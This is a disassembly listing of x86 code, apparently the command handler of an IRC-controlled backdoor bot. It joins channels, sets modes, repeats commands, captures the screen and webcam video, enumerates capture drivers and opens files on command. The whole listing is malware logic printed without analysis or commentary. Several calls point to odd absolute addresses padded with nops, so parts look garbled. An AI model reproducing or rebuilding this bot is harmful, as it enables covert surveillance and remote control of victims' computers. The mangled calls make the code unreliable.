		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_436948
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412E18


loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_412E02
; ---------------------------------------------------------------------------


loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_4368FC
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_4368A8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 260086Bh


loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_436874
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10


loc_412F4E:				; DATA XREF: ___:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436844
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_436800
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367F8
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 10h


loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45


loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633


loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D42j
		add	esp, 0Ch
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_4367EC
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------


loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4367B8
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367B0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436784
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436758
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_436720
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 260086Bh
		nop
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4366F0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F45
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436F0C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_4366C4
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------


loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F45
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_436698


loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_43666C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F45
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_436638
		push	eax
		call	sub_4172AE
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_4365F8
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4365D0
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_43658C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------


loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_436550
		jmp	short loc_413455
; ---------------------------------------------------------------------------


loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_436508


loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx


loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43F698
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_4364CC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h


loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_436498
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436454
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------


loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_436410
		jmp	short loc_413592
; ---------------------------------------------------------------------------


loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_4363C8


loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_43638C
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_43633C
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_4362F0
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch


loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------


loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4362BC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_43628C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_436250
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_436228
		jmp	loc_414AB2
; ---------------------------------------------------------------------------


loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F45
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4361FC
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_4361D0
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41381F


loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC1
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_413809
; ---------------------------------------------------------------------------


loc_41381F:				; CODE XREF: sub_40EE72+4995j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_43615C
		jmp	loc_414AB2
; ---------------------------------------------------------------------------


loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_436138
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436104
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413927


loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E0F
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_413911
; ---------------------------------------------------------------------------


loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset dword_4385B0
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 27C0CA1h
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_4360D8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------


loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414562
; ---------------------------------------------------------------------------


loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415417
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_4360A0
		jmp	short loc_413995
; ---------------------------------------------------------------------------


loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_43605C


loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_415188
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_436028
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_435FE8
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]


loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FBC
		push	eax
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------


loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43F6F4
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------


loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_435F84


loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC1
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC1
; ---------------------------------------------------------------------------


loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_435F50
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_435F14
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_435ED0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435E9C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415CFF
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------


